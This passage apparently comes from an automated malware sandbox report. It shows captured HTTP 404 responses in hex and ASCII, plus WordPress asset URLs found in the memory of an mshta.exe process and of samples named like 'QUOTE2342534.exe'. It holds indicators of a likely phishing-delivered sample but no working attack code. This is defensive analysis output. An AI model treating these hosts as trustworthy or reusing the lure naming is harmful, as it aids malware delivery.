77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:18:53 GMTServer: ApacheContent-Length: 389Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 32 22 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><meta http-equiv="Content-Type" content="text/html; charset=windows-1252"><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:20:58 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:21:01 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:21:04 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Thu, 24 Oct 2024 13:21:06 GMTServer: ApacheContent-Length: 315Connection: closeContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: TengineDate: Thu, 24 Oct 2024 13:21:15 GMTContent-Type: text/html; charset=utf-8Content-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100content-type: text/htmltransfer-encoding: chunkedcontent-encoding: gzipvary: Accept-Encodingdate: Thu, 24 Oct 2024 13:21:21 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedconnection: closeData Raw: 31 33 35 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a e9 72 e3 48 72 fe 3f 4f 41 cb 61 7b 37 d0 6a 9c 24 01 ad d4 bb b8 48 80 24 40 00 24 48 82 0e c7 04 6e 80 38 89 9b dc f0 03 f9 35 fc 64 2e 50 52 8b 62 4b d3 bd 0e ff 70 cd 44 88 a8 23 2b 8f 2f 33 ab 2b eb b7 df 7e 7b fc 27 6e c9 ae 0d 85 1f 04 55 12 7f fb ed f1 f9 cf 00 b4 c7 c0 35 9d 6f bf 5d 7e 26 6e 65 82 19 55 7e ef 1e eb b0 79 ba 63 b3 b4 72 d3 ea be 3a e5 ee dd c0 7e fe 7a ba ab dc ae 82 7b 12 7f 19 d8 81 59 94 6e f5 54 57 de 3d 79 f7 29 1d d3 0e dc fb 7e 7d 91 c5 57 84 d2 ec de ee 87 3e 5d a8 14 a6 9f 98 ff c8 0a be cb c3 c2 2d af 96 20 ef a8 a7 66 e2 3e dd 35 a1 db e6 59 51 5d 4d 6b 43 a7 0a 9e 1c b7 09 6d f7 fe f2 f1 65 10 a6 61 15 9a f1 7d 69 9b b1 fb 84 7e fd 4e aa 0a ab d8 fd 46 20 c4 40 ce aa c1 24 ab 53 e7 11 7e ee 7c 56 65 59 9d 62 77 d0 eb ed 45 5d 76 59 be f0 d1 ab da ca 9c d3 e0 ef 97 a9 fd 67 df 3c a0 9d 7b cf 4c c2 f8 f4 30 a0 0b b0 ed 97 81 e0 c6 8d 5b 85 b6 f9 65 50 9a 69 79 5f ba 45 e8 fd e5 c7 65 65 78 76 1f 06 28 91 77 ef 07 e3 30 75 ef 03 37 f4 83 0a 0c 7f 25 30 72 38 46 09 8c 7a 3f cb 32 ed c8 2f 7a 19 80 89 e2 ac 78 18 fc b3 77 69 ef a7 bd 8e 61 13 1c c3 91 f7 63 b9 e9 38 61 ea 3f 0c 6e fa 13 b3 f0 c3 f4 5d f7 7f 7e 67 bf 74 ed 2a cc d2 2f 40 f4 ac 72 8b 1b 7d 38 61 99 c7 26 d0 85 15 67 76 f4 7f b0 dd d7 1e 7f 26 d0 c8 ed 4e cf 4c de c7 ae 07 b4 64 d6 55 f6 7e b3 97 e1 e2 59 8b 3f 8e bf c9 3e 40 91 6b 0b bc 49 fa 15 20 32 cf d2 d2 bd 0f 53 2f bb 11 f4 55 af ec a5 bd ed 7d b5 bc ac cc aa 2e 81 75 1c f7 66 f1 05 35 cf e6 1f 22 c8 bf fc d1 ea c2 35 cb 2c fd 7c 3d 36 bc 5e df 43 f2 33 13 5c 71 76 d1 a9 5d 5d e4 fa f2 dd b2 40 de 7e af fb 3e 50 dc 6c f8 2a 2d 72 69 1f f2 db 63 a9 07 06 70 bc 0f d4 75 85 d6 c2 cd 5d 13 d8 0c 84 91 e7 9f 6f e4 7a f6 af 66 be ee 8a 51 38 4d d0 ef a7 bd 8e 4d 2e ed 6d ec 4a ca 5b 8e cc 4f 84 fa 75 12 f7 61 e5 26 e5 0d 99 ef 48 c2 00 8e 7e 70 a5 30 7d 73 65 0a ff 04 68 d7 f6 b8 a1 fe 82 63 2b ab aa 2c 79 18 f4 7b bc 09 db eb eb 0a 4b e8 e8 7a f0 4a 13 ef e8 df aa a1 37 f7 bd e3 da 59 61 f6 f6 7b 18 80 90 e2 16 7d 10 7a bf d1 ab c6 41 3c 62 d8 2b 6b 7c ba cf 43 90 35 6e 71 85 af f7 6c 3c 78 99 5d 97 9f 0f 9b 20 ce 34 b7 9e f3 ca 04 46 8f 08 6a f4 c6 e0 15 13 9f a3 f8 35 ae 7d 64 a8 5f 50 63 1d df d8 e6 bb a7 85 e9 25 66 7f 10 f3 e2 b0 ac ee 2f 69 a5 07 7c ea 0e b2 ba 2a 43 10 10 fa 8f 37 f6 7b 43 be 72 77 13 8c bf c3 eb aa ff 4d 5a c0 53 1c de b0 e5 c5 59 ef 5f 7d 64 7c bf c3 c5 d2 66 1c fa c0 c8 36 38 21 b8 c5 db f8 1b c9 af 37 7e f3 02 fa 8f 76 ba 24 5c 90 a3 3e 8b 61 7d 20 b8 0f 13 d3 bf 35 e3 77 a1 3e 8d bd 97 a5 fd 29 07 24 a8 5b f9 fa 9c db be e4 47 2b 8b 9d 37 29 7a 3d 5e 4b f9 a3 0e da ac 70 ee 2d 80 91 08 e4 a8 fe cf bd 19 c7 ef 09 fc 92 54 20 a9 03 70 0f 80 ae 40 96 b

Source: mshta.exe, 00000008.00000002.4595178953.0000000004466000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.0000000002DF6000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://cpanel.com/?utm_source=cpanelwhm&utm_medium=cplogo&utm_content=logolink&utm_campaign=404refer
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://gmpg.org/xfn/11
Source: QUOTE2342534.exe, 00000000.00000002.2143831590.0000000002B57000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: QUOTE2342534.exe	String found in binary or memory: http://tempuri.org/DataSet1.xsd
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor-pro/assets/css/frontend.min.css?ver=3.23.2
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor-pro/assets/css/widget-blockquote.min.css?ver=3.
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor-pro/assets/js/elements-handlers.min.js?ver=3.23
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor-pro/assets/js/frontend.min.js?ver=3.23.2
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor-pro/assets/js/webpack-pro.runtime.min.js?ver=3.
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/css/conditionals/e-swiper.min.css?ver=3.
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/css/frontend.min.css?ver=3.24.7
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-icon-box.min.css?ver=3.24.7
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-icon-list.min.css?ver=3.24.3
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-image.min.css?ver=3.24.7
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-social-icons.min.css?ver=3.24
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/css/widget-text-editor.min.css?ver=3.24.
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/js/frontend-modules.min.js?ver=3.24.7
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/js/frontend.min.js?ver=3.24.7
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/js/webpack.runtime.min.js?ver=3.24.7
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/lib/animations/styles/bounce.min.css?ver
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/lib/font-awesome/css/brands.css?ver=5.15
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/lib/font-awesome/css/fontawesome.css?ver
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/lib/font-awesome/css/solid.css?ver=5.15.
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/elementor/assets/lib/swiper/v8/css/swiper.min.css?ver=8.4
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/header-footer-elementor/assets/css/header-footer-elemento
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/header-footer-elementor/inc/js/frontend.js?ver=1.6.44
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/header-footer-elementor/inc/widgets-css/frontend.css?ver=
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/plugins/wp-staging/assets/js/dist/wpstg-blank-loader.min.js?ver=6
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/themes/hello-elementor/assets/js/hello-frontend.min.js?ver=3.1.1
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/themes/hello-elementor/header-footer.min.css?ver=3.1.1
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/themes/hello-elementor/style.min.css?ver=3.1.1
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/themes/hello-elementor/theme.min.css?ver=3.1.1
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/uploads/elementor/css/global.css?ver=1728530365
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/uploads/elementor/css/post-12.css?ver=1728540809
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/uploads/elementor/css/post-51.css?ver=1728540719
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-content/uploads/elementor/css/post-8.css?ver=1728530364
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-includes/css/dist/block-library/style.min.css?ver=6.6.2
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-includes/js/dist/hooks.min.js?ver=2810c76e705dd1a53b18
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-includes/js/dist/i18n.min.js?ver=5e580eb46a90c2b997e6
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1
Source: mshta.exe, 00000008.00000002.4595178953.000000000478A000.00000004.10000000.00040000.00000000.sdmp, qnPyaKsYTE.exe, 0000000A.00000002.4594821635.000000000311A000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: http://www.coba168.info/wp-includes/js/jquery/jquery.min.js?ver=3.7.1
